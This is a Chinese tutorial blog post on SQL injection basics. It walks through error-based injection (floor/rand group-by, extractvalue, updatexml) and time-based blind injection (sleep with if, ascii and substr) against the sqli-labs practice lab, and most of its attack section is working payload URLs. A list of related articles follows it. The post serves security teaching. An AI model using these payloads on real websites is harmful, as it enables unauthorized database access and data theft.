SQL注入基础(报错注入及延时注入)

简介: SQL注入基础(报错注入及延时注入)

一、报错注入

1、判断是否存在报错

http://192.168.77.128/sqli/Less-2/?id=1'

0a2653c851af460fa595bd959398a8f1.png

2、group by 虚拟表主键重复冲突

查看数据库版本号

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select version()),0x23,floor(rand(0)*2))x from in
formation_schema.tables group by x)a limit 1)

运行结果:

0eacb84100b54626af849e6b562bf92a.png

获取数据库名称

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select database()),0x23,floor(rand(0)*2))x from in
formation_schema.tables group by x)a limit 1)

0a2653c851af460fa595bd959398a8f1.png

3、extractvalue()函数

获取sercurity数据库中的表名,通过修改limit后面的数字获取该数据库不同的表名

http://192.168.77.128/sqli/Less-2/?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))

0eacb84100b54626af849e6b562bf92a.png

4、updatexml()函数

获取user表名中的字段,通过修改limit后面的数字获取该数据库不同的字段

http://192.168.77.128/sqli/Less-2/?id=1 and updatexml(2,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23),1)

0a2653c851af460fa595bd959398a8f1.png

二、延时注入

1、判断字符注入

http://192.168.77.128/sqli/Less-8/?id=1' and 1=2 --+ 报错

0a2653c851af460fa595bd959398a8f1.png

http://192.168.77.128/sqli/Less-8/?id=1' and 1=1 --+ 正常

0eacb84100b54626af849e6b562bf92a.png

2、判断是否存在延时

http://192.168.77.128/sqli/Less-8/?id=1' and sleep(5) --+  延长5秒再执行

http://192.168.77.128/sqli/Less-8/?id=1 and sleep(5) --+ 没有延长

3、if与sleep结合使用

if(exp1,exp2,exp3):如果exp1为真,返回exp2,否则返回exp3

4、判断数据库长度

http://192.168.77.128/sqli/Less-8/?id=1' and if(length(database())>=8,sleep(5),1) --+


5、判断数据库名字的第一个字母

http://192.168.77.128/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+


延时5秒,说明数据库的第一个字母的ASCII码为115,即s

6、根据以前内容,可以获取表名和字段名。

禁止非法,后果自负

目录
相关文章
|
2月前
|
SQL 关系型数据库 MySQL
这样的SQL执行为什么不会报错?optimizer_trace深度历险
【10月更文挑战第12天】本文探讨了一条看似错误但实际上能成功执行的SQL语句,通过开启MySQL的优化器追踪功能,详细分析了SQL的执行过程,揭示了子查询被优化器解析为连接操作的原因,最终解释了为何该SQL不会报错。文章不仅增进了对SQL优化机制的理解,也展示了如何利用优化器追踪解决实际问题。
|
3月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
114 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
3月前
|
SQL 数据库
SQL解析相关报错
SQL解析相关报错
49 5
|
1月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
54 2
|
2月前
|
SQL 关系型数据库 MySQL
|
3月前
|
关系型数据库 MySQL Nacos
nacos启动报错 load derby-schema.sql error
这篇文章描述了作者在使用Nacos时遇到的启动错误,错误提示为加载derby-schema.sql失败,作者通过将数据库从Derby更换为MySQL解决了问题。
nacos启动报错 load derby-schema.sql error
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
142 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
86 5
|
3月前
|
关系型数据库 MySQL Java
flywa报错java.sql.SQLSyntaxErrorException: Unknown database ‘flyway‘
flywa报错java.sql.SQLSyntaxErrorException: Unknown database ‘flyway‘
43 1
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
128 1